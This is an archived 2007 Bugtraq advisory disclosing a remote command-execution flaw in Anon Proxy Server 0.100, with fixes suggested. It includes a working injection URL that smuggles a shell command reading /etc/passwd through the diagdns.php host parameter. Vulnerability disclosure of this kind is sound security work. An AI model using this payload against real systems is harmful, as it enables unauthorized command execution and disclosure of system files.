bugtraq - Anon Proxy Server - Remote Code Execution

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite for Android: free password hash cracker in your pocket

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20071214220535.12010.qmail@securityfocus.com>
Date: 14 Dec 2007 22:05:35 -0000
From: th3.r00k.nospam@...k.gmail.com
To: bugtraq@...urityfocus.com
Subject: Anon Proxy Server - Remote Code Execution

By Michael Brooks

Vulnerability type: Multiple Remote System commands execution. 

Software: Anon Proxy Server

Home page:http://sourceforge.net/projects/anonproxyserver/

Affects version: 0.100

Example exploit:

http://127.0.0.1/anon_proxy_server_0.100/diagdns.php?host=google.com%5C%27+%26%26+cat+%2Fetc%2Fpasswd+%23

A virtually identical flaw exists in diagconnect.php however it takes longer to execute.

Anon Proxy Server forces magic_quotes_gpc=on,  However magic_quotes_gpc does not protect the system()  function from taint.  For protection you should use the escapeshellarg() function. Removing diagdns.php and diagconnect.php is the best temporary solution.  Also magic_quotes_gpc is being removed in php6,  so Anon Proxy Server will have to revamp there security. 

Peace